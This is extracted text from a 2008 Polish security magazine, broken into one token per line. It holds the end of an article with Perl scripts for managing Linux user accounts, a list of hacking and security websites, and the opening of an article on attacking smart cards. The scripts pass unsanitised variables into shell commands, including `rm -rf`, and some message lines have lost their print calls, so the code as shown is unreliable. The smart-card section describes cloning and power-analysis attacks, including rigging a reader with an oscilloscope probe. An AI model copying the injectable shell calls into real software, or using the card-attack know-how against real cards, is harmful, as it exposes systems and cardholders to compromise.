MakePass
()
{
my
$
pass
=
""
;
@
letters
=
(
'A' .. 'Z', 'a' .. 'z'
);
@
cyph
=
(
'0' .. '9'
);
@
symb
=
(
'!','@','$','%','^','&','*'
);
for
(
$
i
=
0
;
$
i
<
8
;
$
i
++)
{
$
pass
.
=
$
letters
[
rand
@
letters
];
}
substr
(
$
pass
,
int
(
rand
()*
7
)
,
0
)
=
$
cyph
[
rand
@
cyph
];
substr
(
$
pass
,
int
(
rand
()*
7
)
,
0
)
=
$
symb
[
rand
@
symb
];
return
$
pass
;
}
sub
SavePass
()
{
my
@
passes
=
@
_
;
open
(
FILE
,
">$installDir/tmp/passlist"
)
or
die
(
"Nie moge otworzyc pliku passlist:
$!
\n
"
);
foreach
$
tab
(
@
passes
)
{
foreach
$
key
(
@$
tab
)
{
FILE
$
key
,
" "
;
}
FILE
"
\n
"
;
}
close
(
FILE
);
}
sub
Crypt
()
{
my
@
letters
=
(
'A' .. 'Z', 'a' .. 'z', '0' .. '9', '.', '/'
);
my
$
salt
=
"
\$
1
\$
"
;
for
(
$
i
=
0
;
$
i
<
8
;
$
i
++)
{
$
salt
=
$
salt
.$
letters
[
rand
@
letters
];
}
my
$
pass
=
shift
;
$
pass
=
crypt
(
$
pass
,$
salt
);
return
$
pass
;
}
Listing 7.
Funkcja wyznaczająca UID oraz zakładająca katalog domowy
sub
CountID
()
{
my
$
uid
=
-
1
;
my
$
user
=
shift
;
my
$
id
=
shift
;
my
$
count
=
shift
;
if
(
$
d
ne
""
)
{
$
xmlpwd
=
dbLoad
(
$
d
.
"/passwd"
,'
users
','
user
'
);
}
else
{
$
xmlpwd
=
dbLoad
(
"$installDir/etc/xml/passwd"
,'
users
','
user
'
);
}
my
$
arruserpwd
=
dbRootArray
(
$
xmlpwd
);
my
$
hashpwd
=
dbToHash
(
$
arruserpwd
,
[
'
login
'
]
,''
);
foreach
$
log
(
keys
%
$
hashpwd
)
{
unless
(
$
{
$$
hashpwd
{
$
log
}
[
0
]
}{
$
user
}
eq
"nfsnobody"
)
{
if
(
$
{
$$
hashpwd
{
$
log
}
[
0
]
}{
$
id
}
>=
$
uid
)
{
$
uid
=
$
{
$$
hashpwd
{
$
log
}
[
0
]
}{
$
id
}
+
$
count
;
}
}
}
return
$
uid
;
}
sub
mkHome
()
{
my
$
home
=
shift
;
my
$
uid
=
shift
;
my
$
group
=
shift
;
`
mkdir
-
p
$
home
`
or
die
(
"nie mozna stworzyc katalogu"
);
`
cp
-
dR
/
etc
/
skel
/. $
home
`
or
(
`
rm
-
rf
$
home
`
and
die
(
"blad kopiowania plikow
konfiguracyjnych"
));
`
chown
-
R
$
uid
.$
group
$
home
`
;
`
chmod
-
R
go
=
u
,
go
-
w
$
home
`
;
`
chmod
go
=
$
home
`
;
}
28
POCZATKI
HAKIN9 9/2008
ADMINISTRACJA KONTAMI W LINUKSIE
29
HAKIN9
9/2008
wówczas weryfikacją zajmie się następna
funkcja –
TestGroup()
.
Sprawdzanie grup odbywa się poprzez
porównanie zadanej nazwy czy też GID z
wartościami pliku group (a dokładniej jego
XML-owego odpowiednika).
Oprócz sprawdzenia, czy istnieje grupa
o podanej nazwie, funkcja ta pozwala nam
również na uzyskanie jej GID, który zostaje
zwrócony w przypadku pozytywnego
dopasowania. Taki zabieg jest konieczny,
gdyż cała praca wykonywana przy
dopisywaniu użytkownika do grup odbywa
się na bazie numeru grupy a nie jej nazwy.
Ostatecznie zmiany agregujemy poprzez
użycie rodziny funkcji
Add{nazwa pliku
konfiguracyjnego}
(np.
AddPasswd()
), które
są częścią biblioteki Users.pm. Na kolejnym
listingu przedstawię tylko jedną z nich,
tyczącą się pliku passwd, gdyż pozostałe
funkcje są analogiczne (Listing 9).
Jak widać działanie opiera się na
odczytaniu istniejącego pliku passwd,
a następnie dodaniu tablicy z nowymi
wpisami i ponownym przekonwertowaniu do
postaci XML.
Zbędny balast
W trakcie pracy z systemem okazuje się
często, że nie tylko należy dodać, ale też i
usunąć zbędne już wpisy o użytkownikach,
którzy dla przykładu zwolnili się z pracy
(Listing 10). I w tej sytuacji może okazać
się, iż kont takich jest kilka – zatem
potrzebujemy funkcji, która będzie gotowa
usuwać dla nas użytkowników np. według
listy z ich loginami. Funkcja
Del()
ma dużo
węższą funkcjonalność niż prezentowana
wcześniej
Add()
, niemniej jednak można ją
w prosty sposób dopasować do własnych
potrzeb, dodając pewne przełączniki oraz
odpowiednio skonstruowane testy – po to, by
na przykład usuwały konta, których ważność
już się skończyła. Można do tego użyć choćby
wcześniejszego skryptu wyciągającego
informacje o użytkownikach. Wspomniane
też było użycie przełączników, jeśli użyjemy
obu tych opcji jednocześnie to możemy
stworzyć w ten sposób listę samym loginów
kont przedawnionych, która zamiast na ekran
będzie wrzucana bezpośrednio do funkcji
Del()
. W ten oto nieskomplikowany sposób
wyżej wymieniony problem zostaje skutecznie
usunięty. Możliwości łączenia opisywanych
skryptów jest mnóstwo ogranicza je głównie
fantazja administratora. A nawet jeśli będą
wymagane do tego pewne zmiany w kodzie
to zwykle będą to tylko zabiegi kosmetyczne.
Osobiście nie potrzebowaliśmy dotąd tego
typu rozwiązań, w związku z czym nie są one
zaimplementowane w kodzie, który tu się
pojawi).
Trzecim z głównych zadań
administratora jest edycja parametrów kont
użytkowników, jednak powstrzymam się tutaj
od omawiania szczegółowego kodu funkcji
Edit()
, gdyż nie wprowadza ona niczego
nowego. Jej działanie opiera się na otwarciu
Listing 8.
Funkcje testujące
sub
TestUser
()
{
if
(
$
d
ne
""
)
{
$
xmlpwd
=
dbLoad
(
$
d
.
"/passwd"
,'
users
','
user
'
);
}
else
{
$
xmlpwd
=
dbLoad
(
"$installDir/etc/xml/passwd"
,'
users
','
user
'
);
}
my
$
arruserpwd
=
dbRootArray
(
$
xmlpwd
);
my
$
hashpwd
=
dbToHash
(
$
arruserpwd
,
[
'
login
'
]
,''
);
my
$
item
=
shift
;
my
$
user
=
shift
;
my
$
error
=
0
;
foreach
$
log
(
keys
%
$
hashpwd
)
{
if
(
$
{
$$
hashpwd
{
$
log
}
[
0
]
}{
$
item
}
eq
$
user
)
{
$
error
=
1
;
}}
return
$
error
;
}
sub
TestGID
()
{
my
$
grpid
=
shift
;
if
(
$
d
ne
""
)
{
$
xmlgr
=
dbLoad
(
$
d
.
"/group"
,'
groups
','
group
'
);
}
else
{
$
xmlgr
=
dbLoad
(
"$installDir/etc/xml/group"
,'
groups
','
group
'
);
}
my
$
arrusergr
=
dbRootArray
(
$
xmlgr
);
my
$
hashgr
=
dbToHash
(
$
arrusergr
,
[
'
groupID
'
]
,''
);
my
$
error
=
1
;
foreach
$
grp
(
keys
%
$
hashgr
)
{
if
(
$
{
$$
hashgr
{
$
grp
}
[
0
]
}{
'
groupID
'
}
==
$
grpid
)
{
$
error
=
0
;
}
}
if
(
$
error
==
1
)
{
"Blad grupa o GID=$grpid nie istnieje
\n
"
;
exit
;
}
}
sub
TestGroup
()
{
my
$
grpname
=
shift
;
if
(
$
d
ne
""
)
{
$
xmlgr
=
dbLoad
(
$
d
.
"/group"
,'
groups
','
group
'
);
}
else
{
$
xmlgr
=
dbLoad
(
"$installDir/etc/xml/group"
,'
groups
','
group
'
);
}
my
$
arrusergr
=
dbRootArray
(
$
xmlgr
);
my
$
hashgr
=
dbToHash
(
$
arrusergr
,
[
'
groupID
'
]
,''
);
my
$
error
=
1
;
foreach
$
grp
(
keys
%
$
hashgr
)
{
if
(
$
{
$$
hashgr
{
$
grp
}
[
0
]
}{
'
groupName
'
}
eq
$
grpname
)
{
$
error
=
0
;
return
$
{
$$
hashgr
{
$
grp
}
[
0
]
}{
'
groupID
'
}
;
}
}
if
(
$
error
==
1
)
{
"Blad grupa o nazwie $grpname nie istnieje
\n
"
;
exit
;
}
}
Listing 9.
Funkcja dopisująca zmiany do pliku passwd
sub
addPasswd
()
{
my
$
installDir
=
shift
;
my
$
users
=
shift
@
_
;
my
$
xmlpwd
=
dbLoad
(
"$installDir/etc/xml/passwd"
,'
users
','
user
'
);
my
$
arruserpwd
=
dbRootArray
(
$
xmlpwd
);
dbAdd
(
$
arruserpwd
, @$
users
);
$
xmlpwd
=
dbCreateStructXML
(
\@$
arruserpwd
,'
users
','
user
'
);
my
$
fileName
=
$
installDir
.
"/etc/xml/passwd"
;
my
$
fileName2
=
$
installDir
.
"/etc/passwd"
;
dbSave
(
$
xmlpwd
, $
fileName
);
savePasswd
(
$
fileName2
, @$
arruserpwd
);
}
30
POCZATKI
HAKIN9 9/2008
plików konfiguracyjnych, przekonwertowaniu
ich na postać hasha i wreszcie edycji
poszczególnych pól dla danego użytkownika.
Tym razem wszystko odbywa się poprzez
odpowiednie przełączniki. Niestety, nie
zastosowaliśmy tutaj mechanizmu list dla
dokonywanie zmian, gdyż wymagałoby to
bardziej skomplikowanego pliku listy niż
miało to miejsce w przypadku dodawania
użytkowników (należałoby tworzyć plik ze
wszystkimi możliwymi do zmiany polami).
Tworzenie takiej listy zajęłoby zbyt wiele
czasu, a zatem byłoby bezcelowe.
Na zakończenie
W trakcie omawiania różnych fragmentów
kodu wspomniałem o pliku konfiguracyjnym,
można było też zauważyć odniesienia
do wartości typu
$options{'nazwa
zmiennej'}
. Zmienne te faktycznie
zadeklarowane są w pliku konfiguracyjnym
stworzonego przeze mnie systemu do
zarządzania kontami użytkowników. Plik
users.conf zawiera pewne administracyjnie
ustalane wartości, które można zmienić
poprzez jego edycję. Ma to na celu
ułatwienie dokonywania zmian w przypadku
np. przenoszenia katalogów domowych w
zupełnie inne miejsce, wówczas zamiast
szukać w kodzie gdzie należy pozmieniać
takowe katalogi zmieniamy jedynie wartość
w pliku konfiguracyjnym a cały system dalej
działa poprawnie. Mogą znajdować się
tam także domyślne wartości parametrów
takich jak GID, czy nazwy list użytkowników
do dodania/usunięcia. Uznałem jednak,
iż stworzenie takiego pliku jest zadaniem
bardzo łatwym i w dużym stopniu zależnym
od potrzeb administratora i w związku z tym
nie zamieszczam jego struktury.
Podsumowanie
Powyższy artykuł z pewnością nie
przedstawia idealnego rozwiązania naszych
bolączek administratorskich, jednak powinien
dosyć mocno naświetlić problematykę
związaną z zarządzaniem kontami i pewnego
rodzaju automatyzacją tego procesu. Daje
też pewien pogląd na wykorzystanie formy
XML w celu przechowywania informacji
na lokalnej maszynie administratora jako
idealnego formatu do dalszej konwersji i
pracy nad zgromadzonymi danymi. Myślę,
że niejeden administrator wyciągnie dla
siebie coś cennego z tego tekstu. Zachęcam
także do wprowadzania pewnych zmian i
udogodnień w skryptach, które zostały tutaj
zaprezentowane. Może okazać się, że pewne
rozwiązania można jeszcze bardziej uprościć
lub też wykorzystać do jeszcze bardziej
skomplikowanych zadań.
Bartosz Kamiński
Autor jest studente III roku Informatyki Stosowanej
na Uniwersytecie Mikołaja Kopernika w Toruniu.
Zajmuje się głównie sieciami komputerowymi oraz
administracją nimi, a także administracją systemami i ich
oskryptowaniem. Język, którym zajmuje się na potrzeby
tworzenia skryptów, to Perl. Aktywny członek Grupy .NET
Wydziału Fizyki, Astronomii i Informatyki stosowanej
Uniwersytetu Mikołaja Kopernika w Toruniu.
Kontakt z autorem: sarlack@emssik.net.pl
Sławomir Orłowski
Autor jest z wykształcenia fizykiem. Obecnie jest
doktorantem na Wydziale Fizyki, Astronomii i Informatyki
Stosowanej Uniwersytetu Mikołaja Kopernika w
Toruniu. Zajmuje się symulacjami komputerowymi
układów biologicznych (dynamika molekularna) oraz
bioinformatyką. Programowanie jest nieodzowną częścią
jego pracy naukowej i dydaktycznej. Ma doświadczenie w
programowaniu w językach C, C++, Delphi, Fortran, Java,
C# i Tcl. Współzałożyciel i koordynator grupy .NET WFAiIS.
Jest autorem artykułów i książek informatycznych. Strona
domowa: http://www.fizyka.umk.pl/~bigman.
Kontakt z autorem: bigman@fizyka.umk.pl
Listing 10.
Funkcja usuwająca wpisy oraz agregująca zmiany dla pliku passwd
sub
Del
()
{
my
@
usersgr
=
();
if
(
$
d
ne
""
)
{
$
xmlpwd
=
dbLoad
(
$
d
.
"/passwd"
,'
users
','
user
'
);
$
xmlsh
=
dbLoad
(
$
d
.
"/shadow"
,'
users
','
user
'
);
}
else
{
$
xmlpwd
=
dbLoad
(
"$installDir/etc/xml/passwd"
,'
users
','
user
'
);
$
xmlsh
=
dbLoad
(
"$installDir/etc/xml/shadow"
,'
users
','
user
'
);
}
my
$
arruserpwd
=
dbRootArray
(
$
xmlpwd
);
my
$
hashpwd
=
dbToHash
(
$
arruserpwd
,
[
'
login
'
]
,''
);
my
$
arrusersh
=
dbRootArray
(
$
xmlsh
);
my
$
hashsh
=
dbToHash
(
$
arrusersh
,
[
'
login
'
]
,''
);
my
%
usergr
=
();
if
(
$
uid
!=
-
1
)
{
foreach
$
log
(
keys
%
$
hashpwd
)
{
if
(
$
{
$$
hashpwd
{
$
log
}
[
0
]
}{
$
items
[
2
]
}
==
$
uid
)
{
$
login
=
$
{
$$
hashpwd
{
$
log
}
[
0
]
}{
$
items
[
0
]
}
}
}
}
if
(
$
login
ne
""
)
{
my
$
cond
=
{
login
=>
$
login
}
;
my
@
deleted
=
dbDel
(
$
arruserpwd
,$
cond
);
if
(!
@
deleted
)
{
"Uzytkownik $login nie istnieje
\n
"
;
exit
;
}
`
rm
-
rf
$
deleted
[
0
]
{
'
homeDir
'
}
`
;
$
usergr
{
'
login
'
}
=
$
login
;
$
usergr
{
'
groupID
'
}
=
$
deleted
[
0
]
{
'
groupID
'
}
;
push
@
usersgr
, \
%
usergr
;
dbDel
(
$
arrusersh
,$
cond
);
dbDel
(
$
arruserah
,$
cond
);
}
else
{
"Blad nie podano uzytkownika do usuniecia lub nie istnieje
\n
"
;
}
&
delPasswd
(
$
installDir
,\@$
arruserpwd
);
&
delShadow
(
$
installDir
,\@$
arrusersh
);
&
delGroup
(
$
installDir
,\@
usersgr
);
}
sub
delPasswd
()
{
my
$
installDir
=
shift
;
my
$
users
=
shift
@
_
;
my
$
xmlpwd
=
dbCreateStructXML
(
\@$
users
,'
users
','
user
'
);
my
$
fileName
=
$
installDir
.
"/etc/xml/passwd"
;
my
$
fileName2
=
$
installDir
.
"/etc/passwd"
;
dbSave
(
$
xmlpwd
, $
fileName
);
savePasswd
(
$
fileName2
, @$
users
);
}
Strony rekomendowane
Misją serwisu jest zaprezentowanie języ-
ków programowania oraz ułatwienie użyt-
kownikowi ich szybkiej nauki.
http://www.cjp.xt.pl
Strona firmy świadczącej profesjonalne
usługii IT, specjalizującej się w wypożycza-
niu serwerów i macierzy. Firma prowadzi
także centrum szkoleniowe.
http://www.itlpolska.pl
Portal poświęcony technikom programo-
wania oraz sposobom ochrony przed za-
grożeniami jakie płyną z Internetu. Przedsta-
wione techniki służą do celów edukacyjnych,
nie należy ich wykorzystywać w niewłaści-
wy sposób.
http://www.hackerzy.pl
Portal internetowy poświęcony w całości
branży IT. Podzielony jest na trzy działy po-
święcone sprzętowi komputerowemu, grom
i rozrywce oraz najnowszym aplikacjom.
http://www.pcarena.pl/index.php
Do niedawna termin hacking był zarezerwo-
wany tylko dla profesjonalistów. Na tym por-
talu można dowiedzieć się więcej o tym za-
gadnieniu. Znajdują się na nim również aktu-
alności i obszerny dział downloads.
http://www.hakerczat.prv.pl/index.html
Portal dla wszystkich zainteresowanych te-
matyką bezpieczeństwa, audytem, IT Go-
vernance w sieciach i systemach teleinfor-
matycznych, a także ochroną danych.
http://www.locos.pl/
Witryna poświęcona w całości tematy-
ce hakingu. Początkujący w tej dziedzinie
znajdą na niej działy, ktore im umożliwią
rozpoczęcie nauki.
http://www.haker.ocom.pl/
Misją serwisu jest dostarczenie dużej ilo-
ści informacji z zakresu informatyki. Znaj-
dują się na nim ciekawe artykuły, najśwież-
sze informacje z rynku IT, recenzje książek
jak i kursy tworzenia portali www.
http://www.swww.pl/
Serwis poświęcony branży IT oferujący
codzienne newsy, artykuły, recenzje ma-
gazynów, testy oraz forum dyskusyjne.
http://www.webhat.pl/index.php
Strona dla każdego webmastera i hackera.
Jeśli zawsze chciałeś stworzyć swoją stro-
nę internetowej lub poznać haking od pod-
szewki, to ten serwis Ci w tym pomoże.
http://web4u.neth.pl/
Strona internetowa firmy Fit Consulting spe-
cjalizującej się w nowoczesnych rozwią-
zaniach informatycznych, zaczynając od
sprzedaży sprzętu komputerowego i świad-
czeniu usług po zaawansowane rozwiązania
zarządzania przedsiębiorstwem.
http://www.fit-consulting.pl/
Strona koła naukowego PK IT Security Gro-
up. Koło ma na celu dostarczanie informacji
związanych z bezpieczeństwem.
http://www.pkitsec.pl/
Strony rekomendowane
32
HAKIN9
ATAK
9/2008
K
artę taką, o troszkę innym rozmiarze niż
ten opisywany w normie ISO, posiada
każdy użytkownik telefonu komórkowego.
Pasjonaci telewizji satelitarnej doskonale znają
karty tego rodzaju, gdyż wykorzystywane są
przez komercyjne stacje nadawcze do weryfikacji
opłaconego abonamentu i dekodowania
programów płatnych. Podobne rozwiązania są
stosowane również w kartach telefonicznych.
Markowe laptopy nierzadko wyposażone są w
czytniki SmartCard, więc można zabezpieczyć w
ten sposób także swojego notebooka. Popularne
stały się zamki w drzwiach oparte o technologię
takich kart. Zapewne można znaleźć więcej
zastosowań kart inteligentnych, jednak nie to jest
w artykule najważniejsze. Skupimy się na tym,
jak zbudowane są karty, jak działają, czy takie
rozwiązania są bezpieczne i czy można im ufać.
Wymiary kart według normy ISO7816 to
85,6 mm x 53,98 mm x 0,8 mm. Najczęściej
wykonane są one z plastiku z zatopionym
układem elektronicznym i stykami umieszczonymi
w określonym normą miejscu. Ten rodzaj kart
określany jest mianem kart zintegrowanych.
Istnieją jeszcze karty HMD (ang. Hole Mounted
Device) oraz SMD (ang. Surface Mounted Device),
jednak są one raczej stosowane jako karty
testowe oraz laboratoryjne.
Złącze karty, na którym umieszczone są
styki elektryczne, także posiada określone w
normie wymiary i podzielone jest na osiem pól
odpowiadających ośmiu stykom.
GRZEGORZ BŁOŃSKI
Z ARTYKUŁU
DOWIESZ SIĘ
co to jest karta inteligentna,
jak atakowana jest karta.
CO POWINIENEŚ
WIEDZIEĆ
jak ważne jest bezpieczeństwo,
znać podstawy elektroniki,
umieć posługiwać się
oscyloskopem.
Protokół komunikacyjny APDU
Na APDU składają się dwa polecenia, które
odpowiadają za komunikację pomiędzy kartą.
Command APDU (C-APDU): polecenie
wykorzystywane przez aplikację na komputerze do
wysyłania poleceń do karty. Korzysta z poniższych
struktur danych:
• header, składa się z 4 bajtów:
• klasy instrukcji (CLA),
• kodu instrukcji (INS),
• Parametrów: P1 oraz P2.
• body (opcjonalne), o zmiennej długości:
• Lc – określa rozmiar ciała lub obszaru
danych (w bajtach),
• Le – określa rozmiar danych lub liczbę
bajtów, na które oczekuje komputer w
odpowiedzi na wysłaną komendę,
• Data field (obszar danych) – zawiera
dane wysyłane do karty w celu wykonania
instrukcji zawartej w nagłówku.
• Response APDU (R-APDU): polecenie
używane przez kartę w odpowiedzi na
polecenie wysłane przez aplikację z
komputera.
• body (opcjonalne): zawiera obszar danych
określonych przez Le,
• trailer : zawiera dwa słowa, SW1 oraz SW2,
wywołane jako status, które opisują stan
przetwarzania na karcie po wykonaniu
polecenia APDU.
Stopień trudności
Atak na
Smart Cards
Codziennie używamy inteligentnych kart, myslimy że nasze
pieniądze i dane zakodowane na kartach są bezpieczne, ale czy
na pewno? Dowiedz się jakie zagrożenia na nas czekają i jak
można zaatakować inteligentną kartę?
33
HAKIN9
ATAK NA SMART CARDS
9/2008
Protokoły
transmisji danych TPDU
Dwa typy protokołów Transmission
Protocol Data Units (TPDUs) używane są
do transmisji APDU oraz struktury danych,
która uległa zmianie:
• T = 0: najmniejszą przetwarzaną i
transmitowaną jednostką jest bajt,
• T = 1: ten protokół przetwarza
sekwencje danych (bloki danych).
ATR
ATR (Answer To Reset) – odpowiedź na
sygnał reset, używana do potwierdzania
parametrów karty niezbędnych do
nawiązania komunikacji z czytnikiem.
Sygnał ATR wysyłany jest z karty do
czytnika w momencie podania zasilania na
styki karty.
Wiadomość ATR – przeważnie
w rozmiarze do 33 bajtów – zawiera
parametry transmisji (T=0 oraz T=1), które
są obsługiwane przez kartę, a także inne
konieczne dla komputera z czytnikiem
informacje, takie jak:
• prędkość transmisji danych,
• parametry sprzętowe karty,
• numer seryjny karty,
• numer wersji maski.
System plików
Hierarchiczny system plików
wykorzystywany w kartach inteligentnych
wspiera trzy typy plików:
• Master file (MF) – pojedynczy plik
znajdujący się w głównym katalogu
systemu, zawierający w sobie pliki DF
oraz EF.
• Dedicated file (DF) – katalog
przechowujący inne pliki DF oraz EF.
• Elementary file (EF) – to plik, który
zawiera dane. Można wyróżnić dwa typy
struktur pliku:
• Transparent structure: plik
zawierający sekwencję struktur
danych,
• Record structure: pliki zawierające
zapis identyfikowalnych rekordów.
Dla struktury tej da się zdefiniować
kolejny podział:
• Linear fixed: plik zawiera rekordy
o ustalonym rozmiarze.
• Variable: plik zawierający
rekordy o zmiennym rozmiarze,
• Cyclic: zawiera pliki
zorganizowane w strukturze koła.
Najważniejsze z obecnie
wykorzystywanych standardów kart
procesorowych to:
• Norma ISO 7816: Identification
cards—Integrated circuit cards with
contacts, dokument opublikowany
przez International Organization
for Standarization (ISO), jest
najważniejszym standardem
definiującym charakterystykę kart
chipowych posiadających styki
elektryczne.
• GSM: European Telecommunications
Standards Institute (ETSI) opublikował
zestaw standardów określających
rodzaje kart chipowych używanych w
telefonii GSM. Obecnie używanych jest
kilka standardów GSM (Tabela 4)
• EMV: Standard zdefiniowany i utworzony
przez Euro pay, MasterCard oraz
Visa, bazuje na standardach ISO
7816 z obsługą dodatkowych funkcji
spełniających potrzeby sektora
finansowego.
• OCF: OpenCard Framework: wstępnie
stworzony przez IBM, obecnie rozwijany
przez OpenCard Consortium, w skład
którego wchodzą najwięksi producenci
kart na świecie.
• PC/SC: specyfikacja PC/SC
(Interoperability Specification for ICCs
and Personal Computer Systems),
zdefiniowana przez PC/SC Workgroup
– kolejne konsorcjum zrzeszające
producentów kart inteligentnych.
PC/SC definiuje architekturę
powszechnego wykorzystania kart
inteligentnych w komputerach klasy
PC. Obecnie jest to na tyle popularny
standard, że jego obsługa została
zaimplementowana w systemach
Windows XP oraz Vista. Istnieje także
jego implementacja dla systemów
UNIX/LINUX, nosząca nazwę
MUSCLE.
Bezpieczeństwo
kart inteligentnych
Bezpieczeństwo kart inteligentnych
można rozpatrywać w czterech głównych
kategoriach.
Bezpieczeństwo komunikacji
Komunikacja – jako jeden z kluczowych
elementów pozwalających na wymianę
danych pomiędzy kartą a urządzeniem
ją odczytującym – odbywa się przy
pomocy specjalnego protokołu APDU
(Application Protocol Data Units). Wolny,
bo na poziomie 9600 bitów w trybie half
Rysunek 1.
Karta chipowa z procesorem
AT90S8515
Tabela 1.
Styki karty według normy ISO 7816
Numer styku
Nazwa
Opis
1
Vcc
napięcie zasilania 5V DC
2
Reset
reset
3
Clock
zegar
4
n/c
nie podłączony
5
GND
masa
6
n/c
nie podłączony
7
I/O
wejście/wyjście
8
n/c
nie podłączony
Tabela 2.
Budowa polecenia Command-APDU
header
body
CLA
INS
P1
P2
Lc
Data field
Le
ATAK
34
HAKIN9 9/2008
ATAK NA SMART CARDS
35
HAKIN9
9/2008
dupleks, transfer pozwala jednak na
bezproblemowe wykorzystanie takich
rozwiązań w wielu zastosowaniach.
Niemniej każde urządzenie, z którym
karta się komunikuje, jest elementem
powodującym ryzyko ataku podczas
przesyłania danych.
Karta do komunikacji z czytnikiem
używa aktywnego protokołu autentykacji.
Procesor pracujący w układzie karty
generuje liczbę, która następnie jest
przesyłana do czytnika – ten szyfruje ją
za pomocą klucza publicznego i odsyła
do karty. Procesor karty weryfikuje
zwróconą liczbę przy pomocy własnego
klucza i zezwala na komunikację. Kiedy
połączenie zostaje ustanowione, każda
wiadomość przesyłana pomiędzy
czytnikiem i kartą jest weryfikowana
specjalnym kodem. Kod ten to wartość
wyliczona na podstawie przesyłanych
danych, klucza szyfrującego oraz
losowo wygenerowanej liczby. W
przypadku jakiejkolwiek zmiany podczas
transmisji – nawet z powodu zakłócenia
– wiadomość musi zostać przesłana
jeszcze raz.
Najczęściej wykorzystywane w kartach
inteligentnych rodzaje szyfrowania to DES
(Data Encryption Standard) – długość
klucza 56 bitów, 3DES (potrójny DES)
– długość klucza 168 bitów oraz RSA
(Rivest-Shamir-Adleman) – długość klucza
1024 bity.
Bezpieczeństwo fizyczne.
Dane przechowywane na kartach
inteligentnych znajdują się najczęściej w
pamięciach EEPROM, które mogą być
w łatwy sposób kasowane, a dane na
nich – modyfikowane. Fizyczny dostęp
do karty daje możliwość oddziaływania
na nią na przykład promieniami
cieplnymi czy świetlnymi w celu usunięcia
zabezpieczeń zastosowanych przez
część firm produkujących układy
zabezpieczeń do kart inteligentnych.
Bardziej destrukcyjne metody – takie,
jak wycinanie układów z karty w celu
ataku – są trudne do realizacji, ale w
warunkach laboratoryjnych udaje się
takie ataki przeprowadzać.
Bezpieczeństwo
systemu operacyjnego.
Na kartach inteligentnych
poszczególnych producentów
zainstalowane są różne systemy
operacyjne. Ich liczba stale rośnie, zatem
opisywanie wszystkich obecnych na
rynku nie ma sensu. Najbardziej znane
i powszechne komercyjne systemy
operacyjne kart chipowych to MULTOS
i JavaCard. W opisanym wcześniej
systemie plików wykorzystywanym
w kartach inteligentnych możemy
wyróżnić pięć podstawowych poziomów
uprawnień.
• Always (ALW): Dostęp do pliku dla
każdego bez żadnych ograniczeń.
• Card holder verification 1 (CHV1):
Dostęp możliwy tylko, gdy podano
właściwą wartość CHV1.
• Card holder verification 2 (CHV2):
Dostęp możliwy tylko, gdy podano
właściwą wartość CHV2.
• Administrative (ADM): Dostęp na
poziomie administracyjnym.
• Never (NEV): Dostęp do pliku zawsze
zabroniony.
Wartości CHV1 oraz CHV2 można
przyrównać do znanych nam z kart
SIM kodów PIN oraz PIN2. Każda z
tych wartości posiada zdefiniowany
Rysunek 1a.
Złącze karty inteligentnej z
bliska
Tabela 5.
Zestaw instrukcji wykorzystywanych w komunikacji czytnika z kartą
Instrukcje
Funkcje
0x60
Sprawdza typ czytnika i aktywuje go
0x61
Ustawia czytnik parametrami ICC
0x62
Włącza zasilanie karty
0x63
Wyłącza zasilanie karty
0x64
Wysyła sygnał RESET do karty
0x65
Sprawdza status karty
0x66
Wysyła jeden bajt danych do czytnika
0x67
Wysyła blok danych do czytnika
0x68
Przesyła ponownie ostatni blok danych
0x69
Wyświetla możliwości czytnika
0x6A
Deaktywuje czytnik
0x6B
Aktywuje opcje dodatkowe czytnika
0x6C-0x6F
Instrukcje zapasowe do wykorzystania w przyszłości
Tabela 4.
Standardy kart GSM
GSM 11.11
Specyfikacja interfejsu SIM-mobile
GSM 11.14
Specyfikacja narzędzi aplikacyjnych SIM dla interfejsu SIM-mobile
GSM 03.48
mechanizmy bezpieczeństwa dla narzędzi aplikacyjnych SIM
GSM 03.19
SIM API (Application Programming Interface) dla platformy
Java Card bazuje na standardach GSM 11.11 oraz GSM 11.14,
definiuje Java API dla rozwoju aplikacji GSM, które mogą
pracować na platformie Java Card.
Tabela 3.
Budowa odpowiedzi Response-APDU
body
trailer
Data field
SW1
SW2
ATAK
34
HAKIN9 9/2008
ATAK NA SMART CARDS
35
HAKIN9
9/2008
licznik błędnie wprowadzanych kodów,
poszczególni producenci stosują różne
wartości.
Bezpieczeństwo oprogramowania
W tej materii pole do popisu mają
autorzy programów współpracujących
z czytnikami kart i kartami. Jeśli
aplikacje przez nich wprowadzane na
rynek są odpowiednio zabezpieczone
i nie posiadają luk pozwalających na
przechwycenie transmisji pomiędzy
kartą a oprogramowaniem komputera, to
możemy czuć się bezpieczni.
Rodzaje ataków
na karty inteligentne
Możliwości zaatakowania kart inteligentnych
nie są może ogromne, lecz istnieje kilka
znanych technik, które są wykorzystywane
przez crackerów.
Prześwietlanie promieniami UV lub
rentgenowskimi w celu uzyskania informacji
takich jak PIN czy klucz prywatny lub
publiczny to metoda raczej teoretyczna
i niedostępna dla każdego. Analiza EM
przy użyciu mikroskopu elektronowego
w celu dokładnego zbadania struktury
maski to także raczej sposób dla
naukowców w laboratoriach. Przykładem
ataku możliwego do wykonania przez
prawie przeciętnego zjadacza chleba
może być klonowanie, czyli wykonanie
wiernej kopii karty. Działanie takie jest
nielegalne – jest ewidentnie swoistym
rodzajem ataku, a jako przykład można
przytoczyć kopiowanie kart kodowych
nadawców płatnej telewizji satelitarnej.
Znanym i dobrze opisanym jest atak DPA
(Differential Power Analysis), polegający
na analizowaniu przebiegów różnych
wartości sygnałów podczas używania
karty. Dogłębna analiza pozwala na
odkrycie wzoru zapisu danych i późniejsze
skompromitowanie karty poprzez poznanie
jej PINu czy klucza prywatnego. Sprzęt
potrzebny do takiego ataku to odpowiednio
zmodyfikowany czytnik kart oraz
oprogramowanie pozwalające dokonywać
zapisu przebiegów elektrycznych. Inną,
prostszą odmianą tego ataku jest SPA
(Simple Power Analysis), polegająca na
bezpośredniej analizie zapisanych danych
odnoszących się do linii zasilającej kartę
i zachowań poziomów napięć i prądu
podczas wykonywania operacji na karcie.
Do wykonania takiego ataku potrzeba
nieco wiedzy z zakresu elektroniki, odrobiny
sprzętu pomiarowego, komputera i
oprogramowania do zapisu próbek oraz
późniejszej analizy. Aby móc dokonywać
pomiarów wartości prądu i napięcia
na stykach karty, należy odpowiednio
zmodyfikować czytnik w taki sposób, aby
można było podłączyć do niego sondę
pomiarową oscyloskopu.
Rysunek 2.
Schemat podłączenia oscyloskopu do złącza smartcard
Vcc
GND
Oscyloskop
Rysunek 3.
Schemat blokowy zestawu do akwizycji danych w ataku SPA
Karta
Czytnik kart
inteligentnych
Oscyloskop
Komputer PC
USB
USB
Rysunek 4.
Widoczne różnice w obciążeniu prądowym karty
ATAK
